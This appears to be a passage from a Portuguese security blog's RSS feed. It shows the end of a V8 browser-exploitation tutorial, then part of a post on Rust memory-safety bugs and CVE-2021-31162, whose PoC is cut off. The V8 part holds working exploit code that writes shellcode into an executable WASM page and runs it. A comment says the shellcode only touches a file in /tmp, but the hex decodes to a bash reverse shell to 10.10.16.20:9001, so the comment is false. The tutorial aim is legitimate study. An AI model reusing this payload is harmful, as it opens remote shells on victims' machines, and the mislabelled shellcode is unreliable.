&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;dataview&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setUint32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Não tenho muito o que explicar sobre o código acima, basicamente está usando as primitivas read/write para escrever o shellcode, podemos finalizar nosso exploit da seguinte forma:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// msfvenom -p linux/x64/exec CMD=&amp;#39;/usr/bin/touch /tmp/executed_baby&amp;#39; --format dword
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;mh&#34;&gt;0x622fb848&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x732f6e69&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50990068&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x66525f54&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x54632d68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39e8525e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x2f000000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x2f6e6962&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mh&#34;&gt;0x68736162&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20632d20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x73616222&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x692d2068&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20263e20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x7665642f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x7063742f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x2e30312f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mh&#34;&gt;0x312e3031&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x30322e36&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x3030392f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x3e302031&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x00223126&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x5e545756&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x0f583b6a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x00000005&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;copy_shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;rwx_page_addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;wasm_exec_shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O exploit completo pode ser encontrato no &lt;a class=&#34;link&#34; href=&#34;https://github.com/harddiskbrasil/blog-browser-exploitation/blob/master/Browser-exploitation/exploit.js&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;github da harddisk&lt;/a&gt;.&lt;br&gt;
Esse post é uma introdução ao tema de browser exploitation, o que significa que muita coisa ficou de fora, como sandbox e proteções como PIE, esses temas podem ser abordados futuramente em outros posts, se você curtiu e quer mais conteúdos do tipo pode compartilhar esse post e/ou entrar na comunidade do discord para dar seu feedback.&lt;/p&gt;
&lt;h2 id=&#34;referencias&#34;&gt;Referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;How browsers work and render pages
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://kleopetrov.me/2018/03/19/how-browsers-work-and-render-pages&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://kleopetrov.me/2018/03/19/how-browsers-work-and-render-pages&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Pointer Compression in V8
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://v8.dev/blog/pointer-compression&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://v8.dev/blog/pointer-compression&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Simple bugs with complex exploits
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exploiting v8: *CTF 2019 oob-v8
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://faraz.faith/2019-12-13-starctf-oob-v8-indepth&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://faraz.faith/2019-12-13-starctf-oob-v8-indepth&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/R3tr074&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;R3tr0&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] O desafio de gerenciamento de memoria está resolvido?</title>
        <link>https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/</link>
        <pubDate>Wed, 14 Jul 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/banner.png" alt="Featured image of post [PT-BR] O desafio de gerenciamento de memoria está resolvido?" /&gt;&lt;h1 id=&#34;buffer-overflow-é-passado&#34;&gt;Buffer Overflow é passado?&lt;/h1&gt;
&lt;p&gt;Podemos olhar para linguagens mais novas como Go e Rust, que prometem um gerenciamento de memoria seguro e com otima performace, principalmente rust, que é uma linguagem emergente que visa prevenir bugs de gerenciamento de memória sem sacrificar muita eficiência e pensar:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Buffer overflow é passado.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Porem, sera que podem prometer tal proteção?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Esse post ira focar no estudo de CVE&amp;rsquo;s da linguagem Rust&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;
&lt;h3 id=&#34;gerenciamento-de-memoria-seguro&#34;&gt;Gerenciamento de memoria seguro&lt;/h3&gt;
&lt;p&gt;De acordo com o &lt;a class=&#34;link&#34; href=&#34;https://cwe.mitre.org/top25&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;relatório estatístico do MITRE&lt;/a&gt;, os bugs de gerenciamento de memoria são enumerados entre os principais tipos de vulnerabilidades de software.&lt;/p&gt;
&lt;p&gt;Em conceito, os bugs de gerenciamento de memoria são causados ​​por acesso arbitrário à memória, podemos enumerar os principais tipos a seguir:&lt;/p&gt;
&lt;h4 id=&#34;use-after-free&#34;&gt;Use-after-free&lt;/h4&gt;
&lt;p&gt;Apos liberar um ponteiro, o buffer apontado pelo ponteiro sera desalocado ou reciclado.&lt;br&gt;
No entanto, o ponteiro ainda aponta para o endereço de memória desalocado, conhecido como &amp;ldquo;ponteiro pendente&amp;rdquo;.&lt;br&gt;
Desreferênciar um ponteiro pendente pode causar problemas de &lt;em&gt;Use-after-free&lt;/em&gt;.&lt;br&gt;
Esses bugs são perigosos porque a memória liberada pode já ter sido realocada para outros fins, ou pode permitir que o usuário controle a lista linkada de blocos de memória livre.&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://youtu.be/ZHghwsTRyzQ&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;img src=&#34;https://i.ytimg.com/vi/ZHghwsTRyzQ/maxresdefault.jpg&#34; alt=&#34;&#34;  /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;double-free&#34;&gt;Double free&lt;/h4&gt;
&lt;p&gt;Ao liberar um mesmo ponteiro duas vezes ira causar uma vulnerabilidade de &lt;em&gt;Double Free&lt;/em&gt;.&lt;br&gt;
Semelhante ao &lt;a class=&#34;link&#34; href=&#34;#use-after-free&#34; &gt;&lt;em&gt;Use-after-free&lt;/em&gt;&lt;/a&gt; na heap, o &lt;em&gt;double free&lt;/em&gt; deixa espaço para que um atacante manipule a lista linkada de blocos de memória livres.&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://youtu.be/LNoeAU25uy4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;img src=&#34;https://i.ytimg.com/vi/LNoeAU25uy4/maxresdefault.jpg&#34; alt=&#34;&#34;  /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;buffer-overflow&#34;&gt;Buffer overflow&lt;/h4&gt;
&lt;p&gt;O tipo de falha mais conhecida, ocorre basicamente quando podemos escrever mais bytes que um buffer pode comportar, assim, fazendo-o transbordar.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://purplesec.us/wp-content/uploads/2019/07/buffer-overflow-cyber-attack.png&#34; alt=&#34;&#34;  /&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Agora que temos uma noção das principais vulnerabilidades relacionado ao gerenciamento de memória podemos continuar&lt;/p&gt;
&lt;h3 id=&#34;gerenciamento-de-memoria-do-rust&#34;&gt;Gerenciamento de memoria do Rust&lt;/h3&gt;
&lt;p&gt;Rust é uma linguagem que visa prevenir bugs de segurança, sem sacrificar o desempenho.&lt;br&gt;
Ela aborda o objetivo introduzindo um conjunto de regras semânticas estritas no nível do compilador.&lt;br&gt;
Desta forma, Rust pode ser mais eficiente do que outras linguagens de programação (como Go, ex) que dependem muito da verificação de memória em runtime e garbage collection&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Basic Design&lt;/strong&gt;:&lt;br&gt;
Rust é por natureza uma linguagem híbrida, incluindo uma parte segura e uma parte insegura.&lt;br&gt;
A parte segura garante que os comportamentos de todos os códigos e APIs sejam bem definidos, e os programas que usam APIs seguras não devem ter nenhum risco de problemas de segurança de memória.&lt;br&gt;
A parte insegura não tem essa garantia e pode levar a comportamentos indefinidos, mas é necessário atender a algumas necessidades específicas, por exemplo, acesso eficiente à memória para desenvolvimento de software com requisitos de desempenho rigorosos.&lt;br&gt;
Qualquer código que possa levar a comportamentos indetermindados deve ser declarado como inseguro, como desreferenciar ponteiros brutos, chamar FFIs (foreign function interfaces) e APIs não seguras.&lt;br&gt;
Na verdade, muitas APIs seguras também empregam APIs inseguras internamente, e essas APIs podem ser seguras porque eliminaram todos os riscos de segurança da memória, por exemplo, por meio de código condicional.&lt;br&gt;
Uma função que chama APIs inseguras pode ser declarada como segura ou insegura, o que depende principalmente da decisão do desenvolvedor. Rust não pode verificar se a declaração está correta ou não.&lt;br&gt;
Portanto, declarar falsamente uma API como segura é perigoso e pode prejudicar a integridade da segurança do Rust.&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 228; flex-basis: 549px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/memory.png&#34; data-size=&#34;1749x764&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/memory.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/memory_hu61a0f4278cc4a3fc5608becd749bd560_108398_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-o-desafio-de-gerenciamento-de-memoria-est%C3%A1-resolvido/memory_hu61a0f4278cc4a3fc5608becd749bd560_108398_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;1749&#34;
				height=&#34;764&#34;
				loading=&#34;lazy&#34;
				&gt;
		&lt;/a&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;ao-estudo&#34;&gt;Ao estudo&lt;/h2&gt;
&lt;p&gt;Agora que pude passar uma ideia melhor sobre a linguagem Rust e sobre gerencialmento de memoria, iremos fazer um estudo nos CVE&amp;rsquo;s catalogados até o momento&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Irei abrangir apenas um CVE para não alongar demais esse post, mas dependendo do feedback posso refazer esse estudo com outros CVE&amp;rsquo;s&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;a-vulnerabilidade&#34;&gt;A vulnerabilidade&lt;/h3&gt;
&lt;p&gt;O CVE que sera estudado sera o &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/cve/CVE-2021-31162/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;CVE-2021-31162&lt;/a&gt;, uma vulnerabilidade de &lt;a class=&#34;link&#34; href=&#34;#double-free&#34; &gt;Double Free&lt;/a&gt; na stdlib do rust, a qual ocorre ao lidar com Vetores.&lt;br&gt;
Escolhi tal CVE por ser uma falha relativamente recente, sendo relatada pouco menos de 5 messes atras(momento que estou escrevendo esse post), por ser, em essência, simples o entendimento e por se tratar de uma falha na stdlib do Rust, podendo assim falar um pouco sobre Rust internals&lt;/p&gt;
&lt;h4 id=&#34;oque-é-a-falha&#34;&gt;Oque é a falha?&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Na stdlib do Rust antes da versão 1.52.0, um double free pode ocorrer na função &lt;code&gt;Vec::from_iter&lt;/code&gt; ao liberar um elemento em &lt;em&gt;panic&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vamos explicar melhor&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SpecFromIter&amp;lt;T, I&amp;gt;&lt;/code&gt; para &lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;/code&gt; chama &lt;code&gt;Vec::IntoIter::drop_remaining()&lt;/code&gt;.&lt;br&gt;
&lt;code&gt;drop_remaining()&lt;/code&gt; chama &lt;code&gt;drop_in_place()&lt;/code&gt; antes de substituir o ponteiro.&lt;br&gt;
Como resultado, os elementos descartados não são invalidados e descartados novamente em &lt;em&gt;panic&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// rust/library/alloc/src/vec/source_iter_marker.rs:71
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;// drop any remaining values at the tail of the source
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;drop_remaining&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// rust/library/alloc/src/vec/into_iter.rs:88
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;pub&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;super&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;fn&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;drop_remaining&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;mut&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;unsafe&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ptr&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;drop_in_place&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;as_mut_slice&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ptr&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;self&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;PoC:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#![forbid(unsafe_code)]&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;use&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;std&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;iter&lt;/span&gt;::&lt;span class=&#34;n&#34;&gt;FromIterator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;#[derive(Debug)]&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;enum&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MyEnum&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DroppedTwice&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;Box&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;i32&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PanicOnDrop&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
